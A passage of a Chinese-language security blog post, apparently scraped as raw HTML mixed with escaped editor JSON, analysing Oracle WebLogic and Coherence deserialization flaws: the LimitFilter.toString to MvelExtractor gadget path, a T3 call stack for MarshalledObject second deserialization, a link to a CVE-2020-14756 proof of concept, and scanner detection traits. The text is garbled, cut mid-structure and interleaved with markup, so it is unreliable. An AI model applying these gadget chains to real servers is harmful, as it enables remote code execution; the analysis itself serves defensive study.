3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-size: 15px;">同样跟一下代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">readResolve:58, MarshalledObject (weblogic.corba.utils)</span></code><code><span class="code-snippet_outer">invoke0:-1, NativeMethodAccessorImpl (sun.reflect)</span></code><code><span class="code-snippet_outer">invoke:57, NativeMethodAccessorImpl (sun.reflect)</span></code><code><span class="code-snippet_outer">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></code><code><span class="code-snippet_outer">invoke:601, Method (java.lang.reflect)</span></code><code><span class="code-snippet_outer">invokeReadResolve:1091, ObjectStreamClass (java.io)</span></code><code><span class="code-snippet_outer">readOrdinaryObject:1805, ObjectInputStream (java.io)</span></code><code><span class="code-snippet_outer">readObject0:1348, ObjectInputStream (java.io)</span></code><code><span class="code-snippet_outer">readObject:370, ObjectInputStream (java.io)</span></code><code><span class="code-snippet_outer">readObject:66, InboundMsgAbbrev (weblogic.rjvm)</span></code><code><span class="code-snippet_outer">read:38, InboundMsgAbbrev (weblogic.rjvm)</span></code><code><span class="code-snippet_outer">readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)</span></code><code><span class="code-snippet_outer">init:213, MsgAbbrevInputStream (weblogic.rjvm)</span></code><code><span class="code-snippet_outer">dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)</span></code><code><span class="code-snippet_outer">dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)</span></code><code><span class="code-snippet_outer">dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)</span></code><code><span class="code-snippet_outer">readReadySocketOnce:967, SocketMuxer (weblogic.socket)</span></code><code><span class="code-snippet_outer">readReadySocket:899, SocketMuxer (weblogic.socket)</span></code><code><span class="code-snippet_outer">processSockets:130, PosixSocketMuxer (weblogic.socket)</span></code><code><span class="code-snippet_outer">run:29, SocketReaderRequest (weblogic.socket)</span></code><code><span class="code-snippet_outer">execute:42, SocketReaderRequest (weblogic.socket)</span></code><code><span class="code-snippet_outer">execute:145, ExecuteThread (weblogic.kernel)</span></code><code><span class="code-snippet_outer">run:117, ExecuteThread (weblogic.kernel)</span></code></pre></section><p><span style="font-size: 15px;">一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：</span></p><p><img data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d770051b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ympXEY8XvXDqCClw375WZWT5Qic23OFld3dicEFyQEY8zLVSRzYRlCjwg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=02e8db75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ybu7iciauf2ib2M15wgXgCmibv8LALUpafPzBo1VrwMibf0gP8hkHcfwRIAg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=52dc9316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yp5KB2RJSz0NCrgMvjp29bIce8ZP1H9I8m6wxMMJrFnHicAfbM64xpVQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=340ba9ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ynUwhFPJjTL1XribDRSq5Nr8h9HCCKXy3PLYOZpSEDiao28wzIoZnlNuQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">流量特征上，出现的类变为<span style="background-color: rgb(255, 255, 255);">weblogic.corba.utils.MarshalledObject</span>，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;initialSize&#34;:{&#34;width&#34;:635,&#34;height&#34;:1760},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;initialSize&